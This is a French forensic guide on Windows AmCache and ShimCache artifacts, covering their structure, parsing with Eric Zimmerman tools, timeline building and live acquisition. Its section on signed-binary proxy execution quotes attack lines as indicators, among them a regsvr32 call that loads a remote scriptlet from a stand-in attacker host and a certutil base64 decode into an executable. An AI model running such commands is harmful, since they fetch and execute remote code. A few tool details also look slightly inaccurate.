AmCache & ShimCache : Forensique Windows — Expert 2026

L'AmCache et ShimCache en forensique Windows représentent deux des artefacts les plus précieux qu'un investigateur puisse exploiter — et pourtant, ils sont encore trop souvent négligés dans les analyses rapides qui se concentrent uniquement sur les Event Logs. Dans une investigation de compromission, j'ai régulièrement vu des analystes conclure qu'un malware n'avait "pas été exécuté" simplement parce qu'il n'y avait pas de fichier Prefetch correspondant — erreur classique. L'AmCache ShimCache forensique Windows expert 2026 vous donnera la méthodologie complète pour exploiter ces artefacts dans vos investigations. AmCache stocke le hash SHA1 de chaque exécutable traité par Windows, permettant d'identifier formellement un binaire malveillant même s'il a été supprimé depuis. ShimCache enregistre les chemins d'exécutables rencontrés par le sous-système de compatibilité applicative — un historique qui peut remonter à plusieurs centaines de programmes. Ces deux artefacts, combinés avec le Prefetch, les Event Logs et le $MFT, constituent le cœur de toute timeline forensique Windows rigoureuse. Ce guide détaillé vous emmène depuis la structure interne de ces hives jusqu'aux commandes avancées de parsing avec AmcacheParser et ShimCacheParser, en passant par les scénarios concrets de détection de malware.

AmCache.hve : structure interne et informations stockées

L'AmCache (pour Application Compatibility Cache) est une hive de registre Windows stockée à l'emplacement C:\Windows\AppCompat\Programs\Amcache.hve. Introduit avec Windows 8, il remplace et améliore significativement le Syscache.hve de Windows 7. Son rôle officiel est de stocker des métadonnées sur les applications pour le sous-système de compatibilité d'applications Windows — mais pour le forensicien, c'est une mine d'or d'informations sur les exécutables qui ont transité par le système.

Structure des sous-clés AmCache

L'AmCache est organisé autour de plusieurs sous-clés principales :

• InventoryApplication : applications installées (MSI, Store, etc.) avec éditeur, version, date d'installation
• InventoryApplicationFile : la clé la plus précieuse pour la forensique — liste des fichiers exécutables individuels avec leurs métadonnées complètes
• InventoryDriverBinary : pilotes chargés sur le système (utile pour détecter les rootkits kernel-mode)
• InventoryDevicePnp : périphériques Plug and Play (utile pour les USB forensics)
• InventoryDeviceMediaClass : médias amovibles connectés

Pour chaque entrée dans InventoryApplicationFile, l'AmCache stocke :

• Le chemin complet de l'exécutable (LowerCaseLongPath)
• Le hash SHA1 du fichier (FileId) — la donnée forensique la plus précieuse
• La taille du fichier (Size)
• La version du fichier (FileVersion)
• L'éditeur (Publisher)
• Le timestamp de modification du fichier (FileId dans certains formats)
• Le timestamp d'entrée dans l'AmCache (LinkDate)

Comment Windows populate l'AmCache

L'AmCache est mis à jour dans plusieurs circonstances : lors de l'installation d'une application via un installateur, lors de l'exécution d'un exécutable nouveau sur le système (Windows le scanne lors du premier run), et lors des mises à jour Windows. Ce mécanisme a une implication forensique critique : un exécutable malveillant qui tourne une seule fois laissera une entrée dans l'AmCache avec son hash SHA1, même si le fichier est ensuite supprimé. Le hash SHA1 peut ensuite être soumis à VirusTotal ou comparé à une liste d'indicateurs de compromission pour confirmer la nature malveillante du binaire — sans avoir le fichier physique.

ShimCache (AppCompatCache) : l'historique d'exécution par version Windows

Le ShimCache (officiellement AppCompatCache, ou Application Compatibility Cache) est stocké dans la clé de registre HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache. Contrairement à l'AmCache qui est une hive séparée, le ShimCache est une valeur dans la hive SYSTEM — ce qui signifie qu'il est chargé très tôt dans le démarrage de Windows.

Comportement selon la version Windows

Le comportement et la sémantique du ShimCache ont significativement changé entre les versions Windows :

• Windows XP : 96 entrées maximum, contient les chemins d'exécutables avec leurs timestamps de modification et un flag d'exécution
• Windows Vista / Windows 7 : 1024 entrées, flag d'exécution (SHIM_FLAG_APPHELP_PROBLEM) parfois présent, timestamps $SI et $FN du fichier
• Windows 8 / 8.1 : jusqu'à 1024 entrées, suppression du flag d'exécution explicite — le ShimCache documente maintenant la présence du fichier, pas nécessairement son exécution
• Windows 10 / 11 / Server 2019/2022 : comportement similaire à Windows 8 — pas de flag d'exécution. L'ordre LIFO (Last In, First Out) est conservé, ce qui permet de déterminer l'ordre relatif des entrées

Cette distinction est fondamentale : sur Windows 10/11, une entrée dans le ShimCache ne prouve pas que l'exécutable a été lancé — seulement qu'il existait sur le système à un moment donné. Pour confirmer l'exécution, il faut croiser avec le Prefetch ou l'AmCache.

Structure du ShimCache

Le ShimCache est stocké comme une valeur binaire brute dans la hive SYSTEM. Sa structure est propriétaire et non documentée officiellement par Microsoft — elle a été reverse-engineered par la communauté forensique. L'entrée est persistée sur disque lors du shutdown ou hibernation du système. Cela signifie que sur un système qui crashe ou est éteint brutalement, les dernières entrées ShimCache peuvent être perdues.

# Structure logique d'une entrée ShimCache (Windows 10)
# - Path: chemin complet de l'exécutable (Unicode)
# - Last Modified Time: timestamp $SI du fichier (NTFS)
# - Data Size: taille des données associées
# (pas de flag d'exécution sur Windows 10+)

# Exemple d'entrée ShimCache typique:
# Path: \??\C:\Windows\System32\cmd.exe
# Last Modified Time: 2025-11-15 14:32:17
# Path: \??\C:\Users\admin\AppData\Local\Temp\malware.exe
# Last Modified Time: 2026-01-15 03:47:22  ← timestamp suspect (nuit)

Différences AmCache vs ShimCache vs Prefetch : tableau comparatif

AmcacheParser : usage avancé pour investigations forensiques

AmcacheParser fait partie de la suite Eric Zimmerman — disponible sur ericzimmermantools.com. Il parse la hive AmCache.hve et génère plusieurs fichiers CSV, un pour chaque sous-clé.

# Parsing basique de l'AmCache live (nécessite droits admin)
# Attention: hive en cours d'utilisation, utiliser une copie forensique
AmcacheParser.exe -f "C:\Windows\AppCompat\Programs\Amcache.hve" --csv C:\output\ --csvf amcache_results.csv

# Sur une image forensique montée ou copie hors ligne
AmcacheParser.exe -f "D:\Evidence\AmcacheHVE\Amcache.hve" --csv C:\output\

# Parser avec inclusion de toutes les sous-clés
AmcacheParser.exe -f D:\Evidence\Amcache.hve --csv C:\output\ --csvf case001_amcache --all

# Résultats générés:
# case001_amcache_InventoryApplicationFile.csv  ← PLUS IMPORTANT
# case001_amcache_InventoryApplication.csv
# case001_amcache_InventoryDriverBinary.csv
# case001_amcache_InventoryDevicePnp.csv

# Chercher un hash SHA1 suspect dans le résultat
grep -i "a1b2c3d4e5f6789012345678901234567890abcd" amcache_InventoryApplicationFile.csv

# Lister les exécutables hors des répertoires Windows/Program Files
grep -v "\\\\Windows\\\\" amcache_InventoryApplicationFile.csv | grep -v "\\\\Program Files"

# Extraire les exécutables dans AppData ou Temp (souvent suspects)
grep -i "\\\\AppData\\\|\\\\Temp\\\|\\\\Users\\\\" amcache_InventoryApplicationFile.csv

# Trier par date d'entrée pour voir les derniers ajouts
sort -t, -k7 amcache_InventoryApplicationFile.csv | tail -50

Exploitation forensique des hashs SHA1 AmCache

Le workflow que j'applique systématiquement sur chaque investigation :

1. Parser l'AmCache avec AmcacheParser → obtenir le CSV des fichiers
2. Extraire la colonne FileId (hash SHA1) de toutes les entrées hors chemins système standards
3. Soumettre les hashs à VirusTotal via l'API (ou manuellement pour les cas simples)
4. Les hashs détectés comme malveillants confirment la compromission même si le fichier a été supprimé
5. Le chemin stocké dans l'AmCache indique où le malware était positionné — souvent révélateur de la technique d'attaque

ShimCacheParser : extraire l'historique d'exécution Windows

# Parser ShimCache depuis la hive SYSTEM
ShimCacheParser.exe -i "D:\Evidence\Registry\SYSTEM" --csv C:\output\ --csvf case001_shimcache

# Ou avec AppCompatCacheParser (outil alternatif EZ)
AppCompatCacheParser.exe -f "D:\Evidence\Registry\SYSTEM" --csv C:\output\

# Résultat: CSV avec ordre d'entrée (position), chemin, timestamp
# Position | LastModifiedTimeUTC | Path
# 1        | 2026-01-15 03:48:12 | \??\C:\Users\admin\AppData\Local\Temp\svchost32.exe
# 2        | 2026-01-15 03:45:33 | \??\C:\Windows\System32\cmd.exe
# ...
# L'entrée #1 est la DERNIÈRE ajoutée (LIFO)

# Sur système live: nécessite d'extraire la hive SYSTEM d'abord
# FTK Imager → Obtain Protected Files → SYSTEM hive
# Ou via reg save
reg save HKLM\SYSTEM C:\temp\SYSTEM.hiv

L'ordre LIFO du ShimCache permet de reconstituer une chronologie relative : l'entrée en position 1 est la plus récente, la dernière position est la plus ancienne. En corrélant avec les timestamps de modification des fichiers, on peut établir une timeline approximative de présence des exécutables sur le système — même en l'absence d'Event Logs ou de Prefetch.

Comment utiliser AmcacheParser pour trouver un malware ?

Voici le scénario typique que je rencontre lors d'interventions : un système est suspecté d'être compromis, le fichier malveillant a été supprimé (ou l'antivirus l'a mis en quarantaine), et il faut confirmer ce qui s'est passé.

Étape 1 : acquérir une copie forensique de l'AmCache.hve — sur un système live, utiliser FTK Imager (Obtain Protected Files) ou VSS (Volume Shadow Copies) si disponibles. Ne jamais copier la hive directement sous Windows sans passer par un outil forensique, la hive est verrouillée.

Étape 2 : parser avec AmcacheParser et charger le CSV de InventoryApplicationFile dans Timeline Explorer.

Étape 3 : filtrer sur les chemins suspects — %TEMP%, %APPDATA%, C:\Users\Public, racine de C:\. Les malwares se placent rarement dans des répertoires standards.

Étape 4 : pour chaque exécutable suspect, extraire le hash SHA1 (colonne FileId dans le CSV, après suppression du préfixe "0000" éventuel) et le vérifier sur VirusTotal. Si le hash est connu comme malveillant, vous avez votre confirmation avec une précision de 100% — c'est exactement ce binaire qui a tourné sur ce système.

Étape 5 : corréler le timestamp d'entrée AmCache avec les Event Logs de la même période. Si vous trouvez un Event ID 4688 (création de processus) avec un timestamp proche, vous avez la chaîne de preuve complète : présence confirmée (AmCache) + exécution documentée (EventLog 4688) + timestamp précis.

Pour approfondir la corrélation avec d'autres artefacts Windows, notre guide expert Windows Forensics couvre l'ensemble de la méthodologie d'investigation. La méthodologie NTFS complète est dans notre article sur la forensique NTFS.

Comment ShimCache révèle-t-il l'historique d'exécution d'un programme ?

Même si le ShimCache ne confirme pas l'exécution sur Windows 10/11, il reste extrêmement utile pour deux raisons : établir la présence chronologique d'un exécutable sur le système, et identifier des programmes qui ont été vus par Windows même brièvement (lors d'un scan antivirus par exemple).

Le ShimCache enregistre un exécutable dans les cas suivants :

• L'exécutable a été lancé (Windows vérifie la compatibilité lors du premier lancement)
• L'exécutable a été scanné par Windows Defender ou un AV tiers (sur certaines configurations)
• L'exécutable se trouvait dans un répertoire indexé par Windows Search
• L'exécutable a été accédé par l'explorateur Windows (right-click, properties, etc.)

Cette ambiguïté est à double tranchant : une entrée ShimCache seule ne prouve pas l'exécution, mais elle prouve que le fichier a existé sur le système. Pour un malware qui laisse une entrée ShimCache mais pas de Prefetch (car Prefetch peut être désactivé sur les SSD), c'est souvent la seule trace de son passage.

Sur Windows 7, la présence du flag d'exécution est plus fiable. Si vous analysez un système Windows 7, une entrée ShimCache avec le flag d'exécution est une preuve directe que le programme a été lancé. Consultez notre article sur la forensique avancée du registre Windows pour approfondir l'analyse des hives système.

Timeline Explorer : agréger tous les artefacts forensiques

Timeline Explorer est l'outil central pour tout analyste DFIR Windows travaillant avec la suite Eric Zimmerman. Il ingère simultanément plusieurs fichiers CSV générés par les différents parsers et crée une vue temporelle unifiée.

# Workflow Timeline Explorer (interface graphique)
# 1. Lancer Timeline Explorer.exe
# 2. File → Load → sélectionner les fichiers CSV:
#    - amcache_InventoryApplicationFile.csv (AmcacheParser)
#    - case001_shimcache.csv (ShimCacheParser)
#    - prefetch_results.csv (PECmd)
#    - mft_results.csv (MFTECmd)
#    - evtx_results.csv (EvtxECmd)

# 3. Timeline Explorer fusionne automatiquement sur la colonne temporelle
# 4. Filtrer par fenêtre temporelle autour de l'incident
# 5. Utiliser les tags pour annoter les événements suspects
# 6. Exporter vers CSV ou Excel pour rapport

# En ligne de commande (si disponible dans votre version EZ):
TimelineExplorer.exe --load C:\output\*.csv --export C:\report\timeline.xlsx

La puissance de Timeline Explorer réside dans sa capacité à colorer et filtrer des milliers d'événements simultanément. Je configure toujours des filtres personnalisés pour :

• Surligner en rouge les exécutables dans %TEMP% ou %APPDATA%
• Surligner en orange les Event IDs de persistance (4698, 7045)
• Masquer les événements Windows standards connus (signed Microsoft binaries)
• Zoomer sur la fenêtre d'incident (-2h / +2h) pour l'analyse initiale

Persistance malware et AppCompatCache : MITRE ATT&CK T1218

La technique MITRE ATT&CK T1218 (Signed Binary Proxy Execution) est directement observable dans le ShimCache et l'AmCache. Les attaquants utilisent des binaires légitimes et signés Windows pour exécuter du code malveillant — regsvr32.exe, mshta.exe, rundll32.exe, wmic.exe — car ces exécutables sont considérés comme de confiance.

Quand vous voyez dans votre ShimCache ou AmCache :

• regsvr32.exe avec un fichier SCT distant (/s /u /n /i:http://attacker.com/payload.sct scrobj.dll)
• mshta.exe exécuté avec un chemin réseau ou une URL
• certutil.exe utilisé pour décoder du contenu base64 (certutil -decode payload.b64 payload.exe)
• wmic.exe process call create pour lancer un processus

...vous êtes face à du living-off-the-land (LotL), une technique qui cherche précisément à passer sous les radars des antivirus en utilisant des outils légitimes. Le ShimCache/AmCache ne fera pas de distinction — ces binaires légitimes y figureront normalement. C'est le contexte (chemin des arguments dans le Prefetch, Event ID 4688 avec arguments) qui révèle l'abus.

Pour l'analyse des techniques d'évasion associées, consultez notre guide sur l'évasion et l'anti-forensique. La référence NIST sur la forensique Windows est le NIST SP 800-86, applicable ici pour la méthodologie de traitement des artefacts système.

Acquisition d'AmCache sur système live sans modification

L'extraction forensique de l'AmCache sur un système en production est délicate : la hive est verrouillée par le processus système. Plusieurs approches selon le contexte :

# Méthode 1: FTK Imager (recommandée)
# File → Obtain Protected Files → sélectionner AmCache
# Génère une copie cohérente malgré le verrouillage

# Méthode 2: Volume Shadow Copies (si disponibles)
# Lister les VSS disponibles
vssadmin list shadows

# Accéder à un VSS via mklink
mklink /d C:\vss \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\
copy C:\vss\Windows\AppCompat\Programs\Amcache.hve C:\temp\Amcache_VSS.hve

# Méthode 3: reg save (moins fiable, peut être cohérent)
# Ne fonctionne PAS pour AmCache car c'est une hive séparée non montée via reg
# AmCache est monté séparément par le kernel

# Méthode 4: Depuis une image disque forensique
# Monter l'image avec Arsenal Image Mounter ou FTK Imager comme volume
# Puis copier normalement C:\Windows\AppCompat\Programs\Amcache.hve

FAQ AmCache et ShimCache

AmCache ou ShimCache : lequel est le plus fiable pour l'investigation ?

L'AmCache est généralement plus fiable pour confirmer l'exécution, car il contient le hash SHA1 de l'exécutable — une preuve directement vérifiable contre les bases de données de malwares. Le ShimCache est plus utile pour reconstituer la présence chronologique de binaires, particulièrement sur Windows 7 où le flag d'exécution est présent. Sur Windows 10/11, je donne toujours la priorité à l'AmCache pour la confirmation d'exécution, et j'utilise le ShimCache pour l'analyse chronologique et pour détecter des exécutables qui n'apparaissent pas dans l'AmCache (cas possible selon les déclencheurs).

Comment extraire AmCache d'un système live sans modification ?

La méthode la plus propre est FTK Imager avec l'option "Obtain Protected Files" — elle copie les hives verrouillées en utilisant l'API Windows de backup (VSS) sans modifier les timestamps ou les métadonnées. Alternative : si des Volume Shadow Copies existent, accéder à l'AmCache depuis le VSS le plus récent avant l'incident donne une vue historique précieuse. Évitez absolument de tenter un simple copy ou xcopy sous Windows — vous obtiendrez une erreur d'accès refusé ou une copie corrompue de la hive.

Peut-on falsifier les entrées AmCache ou ShimCache ?

Oui, un attaquant avec des droits SYSTEM peut théoriquement modifier ces artefacts. L'AmCache.hve peut être édité hors ligne avec des outils de manipulation de hive (Registry Explorer en mode édition). Le ShimCache est plus difficile à modifier car il réside dans une hive système active, mais un attaquant avec des droits suffisants peut le faire via des API undocumentées ou en éditant directement la hive SYSTEM. En pratique, ces falsifications sont rares car elles requièrent des droits élevés, créent elles-mêmes des artefacts forensiques, et la plupart des attaquants préfèrent l'effacement total plutôt que la falsification. La présence d'entrées AmCache/ShimCache incohérentes (timestamps impossibles, binaires référencés avec hashs ne correspondant à aucun fichier connu) peut elle-même être un indicateur de falsification.

Quelle version Windows documente le mieux l'historique d'exécution ?

Paradoxalement, Windows 7 est la version la plus favorable à l'analyste forensique : le ShimCache contient un flag d'exécution explicite, et l'AmCache était déjà riche en informations. Sur Windows 10/11, Microsoft a progressivement retiré des informations du ShimCache (le flag d'exécution notamment), rendant la distinction présence/exécution moins évidente. En revanche, l'AmCache de Windows 10/11 s'est enrichi avec des sous-clés supplémentaires (InventoryDriverBinary, périphériques USB) qui apportent de nouvelles sources de preuves forensiques. Pour les parcs Windows 10/11, la compensation vient de Windows Defender et de Sysmon si déployé — qui documentent l'exécution avec beaucoup plus de détails que les artefacts de compatibilité applicative natifs.

Pour une vue complète de l'analyse forensique Windows incluant les outils Volatility pour la mémoire, consultez notre guide sur la forensique mémoire avec Volatility 3 et notre analyse des apports de l'IA dans les investigations DFIR.